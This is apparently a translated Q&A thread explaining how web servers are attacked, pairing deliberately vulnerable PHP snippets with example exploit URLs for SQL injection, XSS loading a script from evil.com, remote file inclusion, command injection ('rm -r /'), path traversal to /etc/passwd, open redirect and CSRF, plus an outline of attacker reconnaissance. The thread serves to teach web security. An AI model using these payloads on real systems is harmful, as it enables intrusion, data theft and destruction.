黑客如何运作?

信息安全 渗透测试 php Unix
2021-09-03 03:10:29

我专门谈论的是运行 Unix 的 Web 服务器。我一直很好奇黑客是如何获得切入点的。我的意思是,当黑客进入服务器的唯一入口方法是 URL 时,我看不出他们是如何侵入网页的。我一定遗漏了一些东西,因为我看不到黑客如何仅通过更改 URL 就可以访问服务器。

入口点是指访问点。黑客进入服务器的方式。

我可以举一个黑客如何进入网络服务器的例子吗?任何 C 语言都是可以接受的。我完全没有黑客攻击的经验

一个简单的例子将不胜感激。

4个回答

仅通过更改 URL 即可工作的黑客

  • 一个合法的例子和一个恶意的例子
  • 一些示例需要 URL 编码才能工作(通常由浏览器自动完成)

SQL 注入

代码:

$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");

利用(在不知道密码的情况下以管理员身份登录):

example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--

跨站脚本 (XSS)

代码:

$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";

漏洞利用(注册者在BeEF 中将用户作为僵尸访问):

example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />

远程代码执行

代码(泰勒的例子):

<? include($_GET["module"].".php"); ?>

漏洞利用(下载并运行任意代码):

example.com/?module=frontpage
example.com/?module=pastebin.com/mymaliciousscript

命令注入

代码:

<?php
echo shell_exec('cat '.$_GET['filename']);
?>

漏洞利用(尝试从根目录中删除所有文件):

example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /

代码注入

代码:

<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>

利用(注入 phpinfo() 命令,在屏幕上打印非常有用的攻击信息):

example.com/?arg=1
example.com/?arg=1; phpinfo() 

LDAP 注入

代码:

<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>

漏洞利用(在不知道管理员密码的情况下登录):

example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*

路径遍历

代码:

<?php
include("./" . $_GET['page']);
?>

利用(获取/etc/passwd):

example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd

重定向/转发攻击

代码:

 <?php
 $redirectUrl = $_GET['url'];
 header("Location: $redirectUrl");
 ?>

漏洞利用(将用户从您的页面发送到邪恶页面):

example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php

未能限制 URL 访问

代码:

N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other 
means discover the location of content that should only be accessible while logged in.

开发:

example.com/users/showUser.php
example.com/admins/editUser.php

跨站请求伪造

代码:

N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages. 

开发:

Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500
destinationAccount=evilAccount#" width="0" height="0" />

缓冲区溢出(技术上通过访问 URL,但使用 metasploit 实现

代码:

N/A. Vulnerability in the webserver code itself. Standard buffer overflow

利用(Metasploit + Meterpreter?):

http://www.exploit-db.com/exploits/16798/

(目前)最常见的方式是通过 PHP 应用程序中的漏洞。有很多方法可以实现这一点,但这里有一个简单易行的方法:

想象一下,毫无戒心的网站所有者决定在他的代码中使用快捷方式,这样http://example.com/site.php?module=xyz实际上首先加载了一些模板 shell,然后运行“xyz.php”来填充内容。所以也许他会写这样的东西:

<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>

然后,黑客使用以下 URL 访问该站点:
http://example.com/site.php?module=http://malicio.us/evilprogram

现在,PHP 不再加载他的本地脚本,而是下载http://malicio.us/evilprogram.php并执行它——运行攻击者想要的任何 PHP 代码。也许是发送垃圾邮件,也许是安装后门外壳,也许是在配置文件中搜索密码。

入侵网站的方法有数千种,每一种都和下一种一样新颖。几乎普遍地,他们涉及的程序员没有考虑到他们的程序的所有可能输入以及他们可能产生的意外影响。

有两种查看方式,您可以关注服务器本身,或者关注服务器正在运行的 Web 应用程序。

作为服务器,它可以具有运行服务的开放端口,您可以连接这些服务并获得对服务器的访问权限。通过使用已知的漏洞,您可以获得 root 访问权限。例如,一些 Unix 的 FTP 服务器存在漏洞,Metasploit等工具可以利用这些漏洞获得 root shell。

作为一个应用程序,有太多方法可以利用编写或配置不佳的应用程序。例如,如果您将 SQL 查询作为 GET 传递,您实际上可以操纵 URL 本身来执行SQL 注入攻击并转储整个数据库。例如(取决于网站的编码): http ://www.mydomain.com/products/products.asp?productid= 123 UNION SELECT username, password FROM USERS

再次,您触及了一个庞大的主题,我希望这些可以帮助您集中精力进行下一步。

简短的回答

这可能不是正确的问题。

一个黑客...

...是一名社会工程师。

他们对与人的互动比与计算机的互动更感兴趣。黑客宁愿让您将密码交给他,也不愿强行使用。

...正在寻求知识...

...并且知道知识就是力量。黑客对获取您的信用卡号比实际使用它更感兴趣

...以道德为借口...

……不是原因。这就是为什么许多黑客会利用道德导向的政治事件公开的原因。他们知道他们可以在公众眼中用​​道德为他们的行为开脱。

...除非他愿意,否则不会被抓住。

大多数时候。在黑客社区中,不考虑隐身或匿名就直接进入的想要的黑客被称为“脚本小子”或“小子”。很可能有比黑客多得多的小人,他们很可能是你最大的烦恼。

...不需要任何特殊工具或后门。

您提供的前端可能就足够了。

长答案

您可以随心所欲地保护自己免受 Metasploit 中的攻击。一个黑客会直接从前门走进去——如果不是虚拟的,字面上的。

你想要的答案

鉴于人们不喜欢我给出的答案,尽管它已经足够了,但我会给你一些更符合你想要的东西。

黑客喜欢保持匿名。任何攻击的第一步都是将某种类型的代理串在一起,无论是 SOCKS 代理、僵尸,还是形成僵尸网络的简单机器人。有几种方法可以解决这个问题,但为了讨论,让我们获取一些死代理。前往pastebin.com并搜索8080. 这是 Web 代理的常用端口。在结果中向下滚动,直到找到 IP 地址列表,然后单击以查看结果。您应该有一长串网络代理。我可以保证,即使不是全部,大多数人也会死去。抱歉,这不是黑客教程。

下一步是收集关于目标的看似微不足道的信息。使用他的代理,黑客会运行端口扫描,然后探测他发现的任何服务。有网站吗?让我们来探索一下。有 MySQL 服务器吗?让我们看看它是什么版本。运行 SSH?让我们看看它是否接受文本密码,或者仅限于证书。

然后黑客坐下来,查看他收集的内容,然后确定系统的最弱点是什么。根据系统的大小,他可能会返回并进行更多的探索,如果有更多的探索并且他觉得自己没有获得足够好的弱点。弱点不一定是真正的安全“漏洞”:它必须是最薄弱的环节。也许您的 FTP 服务器不能防止敲击(重复登录尝试)。也许您有一个带有一堆表单或潜在可利用 URL 的 Web 服务器。这些都值得进一步研究。

如有必要,攻击者可能会编写脚本或程序来执行最终攻击,但情况并非总是如此。大多数弱点都可以通过现有工具加以利用,因此对于现代黑客来说通常是不必要的。然而,黑客偶尔会发现软件中的新安全漏洞,在这种情况下,他们有时需要编写特殊工具来利用所述软件。

一个明显的攻击程序的一个很好的例子是用于在名为 Terraria 的游戏的服务器上造成麻烦。这不是它最初的目的,但因为它确实暴露了服务器软件中的各种漏洞,它确实倾向于被其他人使用。我用 C# 写的。源代码在GitHub上可用. 该漏洞利用字节码操作来修改现有客户端以发送恶意数据。服务器不期望这些数据,并以未设计用于运行的方式作出反应。发现这样的漏洞可以像对目标软件进行逆向工程一样简单——我说简单是因为这已成为现代反射语言(如 C# 和 Java)越来越容易完成的任务。.NET Reflector(付费)和 dotPeek(目前免费)等程序只需单击一个按钮即可实现这一目标。然后,经过充分培训的 C# 程序员可以观察代码、确定其功能并编写程序来更改此功能。